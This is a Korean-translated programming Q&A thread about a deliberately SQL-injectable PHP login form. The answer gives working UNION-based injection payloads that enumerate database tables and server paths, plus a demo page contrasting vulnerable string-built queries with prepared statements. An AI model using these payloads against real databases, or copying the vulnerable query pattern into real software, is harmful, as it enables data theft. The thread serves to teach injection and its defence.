2017-12-29 39 views
1

제 문제는 제 SQL 인젝션이 작동하지 않는다는 것입니다. 정상적인 로그인과 등록이 의도 한대로 작동하지만 중요한 부분은 아닙니다. PHP SQL 인젝션이 작동하지 않습니다.

<?php 

$connection = mysqli_connect('localhost', 'root', '', 'DB') or die(mysqli_error()); 
mysqli_select_db($connection, 'DB') or die(mysqli_error()); 

@$Vorname = $_POST['vorname']; 
@$Nachname = $_POST['nachname']; 
@$Passwort = $_POST['passwort']; 

@$Vorname2 = $_POST['vorname2']; 
@$Nachname2 = $_POST['nachname2']; 
@$Passwort2 = $_POST['passwort2']; 

if ($Vorname != Null && $Passwort != Null && $Nachname != Null) { 
    $sql1 = "INSERT INTO Persons VALUES('$Vorname', '$Passwort', '$Nachname')"; 
    $query1 = mysqli_query($connection, $sql1) or die(mysqli_error()); 
    $remove = array("page"); 
} 

if ($Vorname2 != Null && $Passwort2 != Null && $Nachname2 != Null) { 
    $sql2 = "SELECT * FROM Persons WHERE Vorname = '$Vorname2' AND Passwort = '$Passwort2' AND Nachname = '$Nachname2'"; 
    $query2 = mysqli_query($connection, $sql2) or die(mysqli_error()); 

    $row = mysqli_fetch_array($query2, MYSQLI_ASSOC); 
    $active = $row; 
    $count = mysqli_num_rows($query2); 

    if ($count == 1) { 
     echo "Login sucessful"; 
    } else { 
     echo "Login failed"; 
    } 
} 
$remove = array("page"); 

?> 

메신저 지금 입력 XXX 'OR 1 = 1 때 - 또는 로그인 창에서 비슷한 일이, 그 바로 보여주는 로그인은이 날 미치게하지 못했습니다.

시간 내 주셔서 감사 드리며 제 질문이 명확하고 좋은 하루 되길 바랍니다.

+0

은 $ Vorname 같은 시도! = ''&& $ Passwort가! = ''&& $ Nachname가! = '' –

+3

그래서 당신이 악용 양식을 구축하고자이 있다는 것입니다 맞지만 실패하지 않는가? – RamRaider

+0

$ count = mysqli_num_rows ($ query2); ... 그게 정확한지 모르겠다. – halojoy

답변

2

이 악용 된 사소한 조작의 몇 가지 (인 SELECT 문 - 삽입 보았다하지 않은 경우)으로 시험하기위한 게시 된 데이터에 대한 몇 가지 hard-coded 값을 사용

<?php 

    $_POST['vorname']="geronimo"; 
    $_POST['nachname']='hiddensmeg'; 
    $_POST['passwort']='fluffykittens'; 

    /* the exploit */ 
    $_POST['vorname2']="geronimo' union all select 1,2,`table_name` from `information_schema`.`tables` where `table_type`='base table' and `table_schema`=database();#' --"; 

    $_POST['nachname2']='hiddensmeg2'; 
    $_POST['passwort2']='fluffykittens2'; 

    $connection = mysqli_connect('localhost', 'root', 'xxx', 'xxx'); 
    #mysqli_select_db($connection, 'DB') or die(mysqli_error()); 

    @$Vorname = $_POST['vorname']; 
    @$Nachname = $_POST['nachname']; 
    @$Passwort = $_POST['passwort']; 

    @$Vorname2 = $_POST['vorname2']; 
    @$Nachname2 = $_POST['nachname2']; 
    @$Passwort2 = $_POST['passwort2']; 

    if ($Vorname != Null && $Passwort != Null && $Nachname != Null) { 

     $sql1 = "INSERT INTO Persons VALUES('$Vorname', '$Passwort', '$Nachname')"; 
     #exit($sql1); 
     $query1 = mysqli_query($connection, $sql1) or die(mysqli_error()); 
     $remove = array("page"); 
    } 

    if ($Vorname2 != Null && $Passwort2 != Null && $Nachname2 != Null) { 
     $sql2 = "SELECT * FROM Persons WHERE Vorname = '$Vorname2' AND Passwort = '$Passwort2' AND Nachname = '$Nachname2'"; 
     $result = mysqli_query($connection, $sql2); 

     if ($result->num_rows > 0) { 
      while($rs=mysqli_fetch_array($result, MYSQLI_ASSOC)){ 
       #echo "OK"; 
       echo $rs['Nachname'] . '<br />'; # show real data 
      } 
     } else { 
      echo "Login failed"; 
     } 
    } 
    $remove = array("page"); 
?> 

편집 : 기본 예제 (그렇게 취약하지) embedded variables (취약)와 prepared statements의 차이

기본 데이터베이스 개요

,691를 표시합니다
create table `persons` (
    `id` smallint(5) unsigned not null auto_increment, 
    `vorname` varchar(50) null default null, 
    `nachname` varchar(50) null default null, 
    `passwort` varchar(50) null default null, 
    primary key (`id`), 
    unique index `vorname_passwort_nachname` (`vorname`, `passwort`, `nachname`) 
) 
collate='utf8_general_ci' 
engine=innodb; 

mysql> describe persons; 
+----------+----------------------+------+-----+---------+----------------+ 
| Field | Type     | Null | Key | Default | Extra   | 
+----------+----------------------+------+-----+---------+----------------+ 
| id  | smallint(5) unsigned | NO | PRI | NULL | auto_increment | 
| vorname | varchar(50)   | YES | MUL | NULL |    | 
| nachname | varchar(50)   | YES |  | NULL |    | 
| passwort | varchar(50)   | YES |  | NULL |    | 
+----------+----------------------+------+-----+---------+----------------+ 

mysql> select * from persons; 
+----+-----------+--------------+-----------------+ 
| id | vorname | nachname  | passwort  | 
+----+-----------+--------------+-----------------+ 
| 1 | RamRaider | Twizzlestick | bh57l_$3dmpwWtq | 
+----+-----------+--------------+-----------------+ 

그리고 테스트 페이지

<?php 

    $ex_response = $non_ex_response = array(); 

    /* 
     To see how even basic filtering can affect the outcome, use ?filter=1 as querystring 
    */ 
    $filter = isset($_GET['filter']) && $_GET['filter']==1 ? true : false; 



    if($_SERVER['REQUEST_METHOD']=='POST'){ 
     $dbhost = 'localhost'; 
     $dbuser = 'root'; 
     $dbpwd = 'xxx'; 
     $dbname = 'xxx'; 
     $db = new mysqli($dbhost, $dbuser, $dbpwd, $dbname); 

     /* action determines which portion of code to run */ 
     $action=$_POST['action']; 

     /* username - either raw data or filtered data */ 
     $username=$filter ? filter_input(INPUT_POST, 'username', FILTER_SANITIZE_STRING) : $_POST['username']; 

     switch($action){ 
      case 'exploitable': 
       /* embedded, vulnerable variables */ 

       $sql="select `vorname`, `nachname`, `passwort` from `persons` where `vorname`='$username';"; 
       $result=$db->query($sql); 

       if($result && $result->num_rows > 0){ 
        while($rs=$result->fetch_object()){ 
         $ex_response[]=array(
          'first' => $rs->vorname, 
          'last' => $rs->nachname, 
          'pwd' => $rs->passwort 
         ); 
        } 
       } 
       $db->close(); 
      break; 
      case 'nonexploitable': 
       /* use prepared statements */ 

       $sql="select `vorname`, `nachname`, `passwort` from `persons` where `vorname`=?;"; 
       $stmt=$db->prepare($sql); 

       if($stmt){ 
        $stmt->bind_param('s', $username); 
        $res=$stmt->execute(); 

        if($res){ 
         $stmt->store_result(); 
         $stmt->bind_result($user, $uid, $pwd); 
         while($stmt->fetch()){ 
          $non_ex_response[]=array(
           'first' => $user, 
           'last' => $uid, 
           'pwd' => $pwd 
          ); 
         } 
         $stmt->free_result(); 
         $stmt->close(); 
        } 
       } else { 
        $non_ex_response='error'; 
       } 
       $db->close(); 
      break; 
     } 

    } 
?> 
<!doctype html> 
<html> 
    <head> 
     <meta charset='utf-8' /> 
     <title>Exploit mysqli with deliberately vulnerable code versus prepared statements</title> 
     <style> 
      html,html *{font-family:calibri,verdana,arial;} 
      #container{display:flex;} 

      div.query{color:green;width:100%;margin:0 auto!important;text-align:center;font-size:0.8rem;} 
      div.query:before{ content:'Exploit Query'; color:black!important; margin:0 1rem 0 0; } 
      h1{ 
       font-size:1.25rem; 
       text-align:center; 
      } 
      form{ 
       width:calc(50% - 2rem); 
       border:1px solid black; 
       box-sizing:border-box; 
       padding:1rem; 
       display:inline-block; 
       float:none; 
       margin:0 auto; 
       height:90vh; 
       top:0; 
       position:relative; 
      } 
      form input[type='text']{ 
       width:80%; 
      } 
      form input[type='text'], 
      form input[type='submit']{ 
       padding:1rem; 
      } 

     </style> 
    </head> 
    <body> 
     <div class='query'>RamRaider</div> 
     <div class='query'>RamRaider' union all select 1,2,`table_name` from `information_schema`.`tables` where `table_type`='base table' and `table_schema`=database();#' --</div> 
     <div class='query'>RamRaider' union all select @@innodb_data_home_dir,@@basedir,`table_name` from `information_schema`.`tables` where `table_type`='base table' and `table_schema`=database();#' --</div> 
     <div id='container'> 
      <form id='exploitable' method='post'> 
       <h1>Exploitable</h1> 
       <input type='text' name='username' /> 
       <input type='hidden' name='action' value='exploitable' /> 
       <input type='submit' /> 
       <?php 
        if(!empty($ex_response)) echo '<pre>',print_r($ex_response,true),'</pre>'; 
       ?> 
      </form> 

      <form id='nonexploitable' method='post'> 
       <h1>Non-Exploitable</h1> 
       <input type='text' name='username' /> 
       <input type='hidden' name='action' value='nonexploitable' /> 
       <input type='submit' /> 
       <?php 
        if(!empty($non_ex_response)) echo '<pre>',print_r($non_ex_response,true),'</pre>'; 
       ?> 
      </form> 
     </div> 
     <script> 
      /* simple code to add whichever sql query is clicked directly to the text input fields */ 
      var inputs=document.querySelectorAll('input[type="text"]'); 
      var col=Array.prototype.slice.call(document.querySelectorAll('div.query')); 
       col.forEach(function(div){ 
        div.onclick=function(event){ 
         inputs.forEach(function(text){ 
          text.value=this.innerHTML; 
         }.bind(div)); 
        }; 
       }); 
     </script> 
    </body> 
</html> 
+0

감사합니다. 악용 코드는 하드 코딩되지 않은 상태에서도 작동합니다. 그러나 슬프게도, 나는 그것이 어떻게 작동했는지를 따라갈 수 없었습니다. 제게 조금 설명해 주시겠습니까? 학교 프로젝트를 위해 필요로하거나 쉽게 공격 할 수 있습니까? 미리 감사드립니다. –

+1

기본적으로 내가 변경 한 부분은'$ row = mysqli_fetch_array ($ query2, MYSQLI_ASSOC); $ active = $ row; ($ rs = mysqli_fetch_array ($ result, MYSQLI_ASSOC)) {' 더 나은 것으로 $ count = mysqli_num_rows ($ query2);', 쿼리에서 ZERO 레코드가 반환 된 다음 테스트를 거친 후 테스트합니다. 데이터베이스에서 모든 정보를 수집 할 수 있어야합니다. – RamRaider

+0

마지막으로, 익스플로잇이 작동을 멈추게하려면 어떻게해야합니까? 좋은 하루 보내시고 친절에 감사드립니다. –